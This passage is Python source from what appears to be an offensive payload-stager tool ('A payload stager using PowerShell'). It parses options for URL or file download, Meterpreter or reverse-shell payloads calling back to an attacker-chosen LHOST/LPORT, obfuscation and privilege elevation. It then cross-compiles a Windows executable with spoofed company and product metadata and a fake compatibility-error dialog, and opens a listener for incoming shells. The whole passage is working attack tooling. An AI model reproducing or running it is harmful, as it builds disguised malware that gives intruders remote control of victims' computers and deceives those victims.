	resource_content = windres_resource.replace(
		"[_RC_ICON_]"				, rc_icon
	).replace(
		"[_RC_MANIFEST_FILE_]"		, temp_name_manifest
	).replace(
		"[_RC_COMPANY_NAME_]"		, rc_company_name
	).replace(
		"[_RC_DESCRIPTION_]"		, rc_description
	).replace(
		"[_RC_INTERNAL_NAME_]"		, rc_internal_name
	).replace(
		"[_RC_LEGAL_NAME_]"			, rc_legal_name
	).replace(
		"[_RC_OUTPUT_NAME_]"		, rc_original_filename
	).replace(
		"[_RC_APPLICATION_NAME_]"	, rc_product_name
	)
	
	if Utility.get_configuration_value(conf_name.SOURCE_ONLY):
		
		print(source_content)
		sys.exit()
		
	else:

		# Create sourcecode file
		with open(temp_name_sourcecode, "w") as _file:
			_file.write(source_content)

		# Create manifest file
		with open(temp_name_manifest, "w") as _file:
			_file.write(manifest_content)

		# Create resource file
		with open(temp_name_rc, "w") as _file:
			_file.write(resource_content)

		if (
			Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN32
			and (os.system("i686-w64-mingw32-windres -i " + temp_name_rc + " -o " + temp_name_o + " && i686-w64-mingw32-gcc -mwindows -o " + output + " " + temp_name_sourcecode + " " + temp_name_o) == 0)
		) or (
			Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN64
			and (os.system("x86_64-w64-mingw32-windres -i " + temp_name_rc + " -o " + temp_name_o + " && x86_64-w64-mingw32-gcc -mwindows -o " + output + " " + temp_name_sourcecode + " " + temp_name_o) == 0)
		):
			Print.add_name_value("File signature", hashlib.md5(open(output, "rb").read()).hexdigest(), Print.info)
			Print.add_name_value("Payload generated", output, Print.success)

		else:		
			Print.add_name_value("Failed to generate", output, Print.error)

		# Clean up from temporary files
		os.system("/bin/rm -f " + temp_name_sourcecode)
		os.system("/bin/rm -f " + temp_name_manifest)
		os.system("/bin/rm -f " + temp_name_rc)
		os.system("/bin/rm -f " + temp_name_o)


# Print program header in terminal
def print_header():
	Print.text("\033[38;5;160m" + r"   ___                       __ _                        " + "\033[0m")
	Print.text("\033[38;5;161m" + r"  / _ \_____      _____ _ __/ _\ |_ __ _  __ _  ___ _ __ " + "\033[0m")
	Print.text("\033[38;5;162m" + r" / /_)/ _ \ \ /\ / / _ \ '__\ \| __/ _` |/ _` |/ _ \ '__|" + "\033[0m")
	Print.text("\033[38;5;163m" + r"/ ___/ (_) \ V  V /  __/ |  _\ \ || (_| | (_| |  __/ |   " + "\033[0m")
	Print.text("\033[38;5;164m" + r"\/    \___/ \_/\_/ \___|_|  \__/\__\__,_|\__, |\___|_|   " + "\033[0m")
	Print.text("\033[38;5;130m" + r"   _ __  _   _                           " + "\033[38;5;164m|___/\033[38;5;130m           " + "\033[0m")
	Print.text("\033[38;5;131m" + r"  | '_ \| | | |                                          " + "\033[0m")
	Print.text("\033[38;5;132m" + r" _| |_) | |_| |  A payload stager using PowerShell       " + "\033[0m")
	Print.text("\033[38;5;133m" + r"(_) .__/ \__, |  Created by z0noxz                       " + "\033[0m")
	Print.text("\033[38;5;134m" + r"  |_|    |___/                                           " + "\033[0m")


def main(argv):
	global help_notes

	# Create shortcut for get_configuration_value
	GET = lambda x: Utility.get_configuration_value(x)
	
	# Define default configuration
	local_configuration = {
		conf_name.URL					: None,
		conf_name.PATH					: None,
		conf_name.OUTPUT				: None,
		conf_name.TARGET				: None,
		conf_name.LHOST					: None,
		conf_name.LPORT					: None,
		conf_name.FAKE_ERROR			: None,
		conf_name.ICON					: None,
		
		conf_name.OBFUSCATION			: False,
		conf_name.REVERSE_SHELL			: False,
		conf_name.METERPRETER			: False,
		conf_name.LISTENER				: False,
		conf_name.GENERATE				: False,
		conf_name.SOURCE_ONLY			: False,
		conf_name.ELEVATION				: False,
	}

	print_header()
	Print.text()

	# Replace placeholders in help notes
	help_notes = help_notes.replace("[_CHECK_i686_]", "\033[92mpresent\033[0m" if Utility.which("i686-w64-mingw32-gcc") else "\033[91mmissing\033[0m")
	help_notes = help_notes.replace("[_CHECK_x86_64_]", "\033[92mpresent\033[0m" if Utility.which("x86_64-w64-mingw32-gcc") else "\033[91mmissing\033[0m")
	help_notes = help_notes.replace("[_CHECK_i686_WINDRES_]", "\033[92mpresent\033[0m" if Utility.which("i686-w64-mingw32-windres") else "\033[91mmissing\033[0m")
	help_notes = help_notes.replace("[_CHECK_x86_64_WINDRES_]", "\033[92mpresent\033[0m" if Utility.which("x86_64-w64-mingw32-windres") else "\033[91mmissing\033[0m")
	
	# Fix for dynamic flag/value argument
	for i, opt in enumerate(argv):
		if opt == "--fake-error": argv[i] = "--fake-error="
	
	# Read configuration from arguments
	try:
		opts, args = getopt.getopt(
			argv,
			"hu:p:mro:t:eg",
			[
				"help",
				"url=",
				"path=",
				"meterpreter",
				"reverse-shell",
				"output=",
				"target=",
				"lhost=",
				"lport=",
				"use-elevation",
				"listener",
				"generate",
				"fake-error=",
				"source-only",
				"obfuscation",
				"icon=",
			]
		)
	except getopt.GetoptError as e:
		print(help_notes)
		Print.error(str(e))
		sys.exit(2)
	for opt, arg in opts:
		if opt in ("-h", "--help"):
			print(help_notes)
			sys.exit()
		
		elif opt in ("-u", "--url"):
			local_configuration[conf_name.URL] = arg if Utility.is_url(arg) else None
		
		elif opt in ("-p", "--path"):
			local_configuration[conf_name.PATH] = arg if os.path.isfile(arg) else None
		
		elif opt in ("-m", "--meterpreter"):
			local_configuration[conf_name.METERPRETER] = True
		
		elif opt in ("-r", "--reverse-shell"):
			local_configuration[conf_name.REVERSE_SHELL] = True
		
		elif opt in ("-o", "--output"):
			local_configuration[conf_name.OUTPUT] = arg
		
		elif opt in ("-t", "--target"):
			local_configuration[conf_name.TARGET] = {
				"win32"	: os_target.WIN32,
				"win64"	: os_target.WIN64,
			}.get(arg.lower(), None)
		
		elif opt in ("--lhost"):
			local_configuration[conf_name.LHOST] = arg if Utility.is_ipv4_address(arg) else None
		
		elif opt in ("--lport"):
			local_configuration[conf_name.LPORT] = arg if (arg.isdigit() and int(arg) >= 1 and int(arg) <= 65535) else None
		
		elif opt in ("-e", "--use-elevation"):
			local_configuration[conf_name.ELEVATION] = True
		
		elif opt in ("--listener"):
			local_configuration[conf_name.LISTENER] = True
		
		elif opt in ("-g", "--generate"):
			local_configuration[conf_name.GENERATE] = True
		
		elif opt in ("--fake-error"):
			local_configuration[conf_name.FAKE_ERROR] = (
				[arg.split("::")[0], "::".join(arg.split("::")[1:])] if (
					len(arg.split("::")) >= 2
				) else ["Application compatibility error", "The version of this file is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need an x86 (32-bit) or x64 (64-bit) version of the program, and then contact he software publisher."])
		
		elif opt in ("--source-only"):
			local_configuration[conf_name.SOURCE_ONLY] = True
			
		elif opt in ("--obfuscation"):
			local_configuration[conf_name.OBFUSCATION] = True
			
		elif opt in ("--icon"):
			local_configuration[conf_name.ICON] = arg

	# Load configuration
	Utility.load_configuration(local_configuration)

	# Check if mingw32 GCC exists
	if (not Utility.which("i686-w64-mingw32-gcc")) or (not Utility.which("x86_64-w64-mingw32-gcc")):
		Print.error("mingw GCC does not seem to be installed on your system")
		sys.exit(2)

	# Check if mingw32 Windres exists
	if (not Utility.which("i686-w64-mingw32-windres")) or (not Utility.which("x86_64-w64-mingw32-windres")):
		Print.error("mingw WINDRES does not seem to be installed on your system")
		sys.exit(2)
		
	# Check if listener option is selected
	if GET(conf_name.LISTENER):
		if GET(conf_name.LPORT) != None:	
			Print.add_name_value("Listener", "Listener will open automatically", Print.info)
		else:
			Print.error("LPORT must be specified when creating a listener")
			sys.exit(2)

	# Check if no method is selected
	if (
		[
			GET(conf_name.URL) != None,
			GET(conf_name.PATH) != None,
			GET(conf_name.METERPRETER),
			GET(conf_name.REVERSE_SHELL),
			
			# Include listener in this check
			GET(conf_name.LISTENER),
		].count(True) == 0
	):
		Print.error("A method parameter is missing, or malformed. Choose one of:")
		Print.text("    --" + "\n      --".join(["url", "path", "meterpreter", "reverse-shell"]))
		sys.exit(2)
	
	# Check if more than one method is selected
	elif (
		[
			GET(conf_name.URL) != None,
			GET(conf_name.PATH) != None,
			GET(conf_name.METERPRETER),
			GET(conf_name.REVERSE_SHELL),
		].count(True) > 1
	):
		Print.error("Only one method parameter is allowed")
		sys.exit(2)
	
	# Check if a method is selected
	elif (
		[
			GET(conf_name.URL) != None,
			GET(conf_name.PATH) != None,
			GET(conf_name.METERPRETER),
			GET(conf_name.REVERSE_SHELL),
		].count(True) == 1
	):

		# Check if target is missong
		if GET(conf_name.TARGET) == None:
			Print.error("--target must be either win32 or win64")
			sys.exit(2)
		else:
			Print.add_name_value("Target", ("WIN32" if GET(conf_name.TARGET) == os_target.WIN32 else "WIN64").lower(), Print.info)
		
		# Check if output is missing
		if GET(conf_name.OUTPUT) == None:
			Print.error("'output' parameter is missing, or empty")
			sys.exit(2)
		else:
			Print.add_name_value("Output", GET(conf_name.OUTPUT), Print.info)
		
		# Check if elevation is selected
		if (GET(conf_name.ELEVATION)):
			Print.add_name_value("Invoke with elevation", "Yes", Print.info)
	
		# Check if URL method is selected
		if GET(conf_name.URL) != None:
			Print.add_name_value("URL", GET(conf_name.URL), Print.info)

		# Check if PATH method is selected
		elif GET(conf_name.PATH) != None:
			Print.add_name_value("PATH", GET(conf_name.PATH), Print.info)

		# Check if METERPRETER method is selected
		elif GET(conf_name.METERPRETER):
			if GET(conf_name.LHOST) != None and GET(conf_name.LPORT) != None:
				Print.add_name_value("Meterpreter listener", GET(conf_name.LHOST) + ":" + GET(conf_name.LPORT), Print.info)
			else:
				Print.error("LHOST and LPORT must be specified when generating a meterpreter payload")
				sys.exit(2)

		# Check if REVERSE_SHELL method is selected
		elif GET(conf_name.REVERSE_SHELL):
			if GET(conf_name.LHOST) != None and GET(conf_name.LPORT) != None:
				Print.add_name_value("Reverse shell listener", GET(conf_name.LHOST) + ":" + GET(conf_name.LPORT), Print.info)
			else:
				Print.error("LHOST and LPORT must be specified when generating a reverse shell payload")
				sys.exit(2)

		# Print working status
		sys.stdout.write("\b" * (Print.text("Working...", True) + 2))

		# Compile source
		compile_source()
	
		# Print buffered output after success
		Print.name_value_print()
	
	# Invoke listener
	if GET(conf_name.LISTENER) and GET(conf_name.LPORT):
		Listener("0.0.0.0", int(GET(conf_name.LPORT))).start()
		
# Prevent ctrl+Z from exiting
signal.signal(signal.SIGTSTP, (lambda *a: Print.text(Print.wipe(back=True), True)))

if __name__ == "__main__":
	main(sys.argv[1:])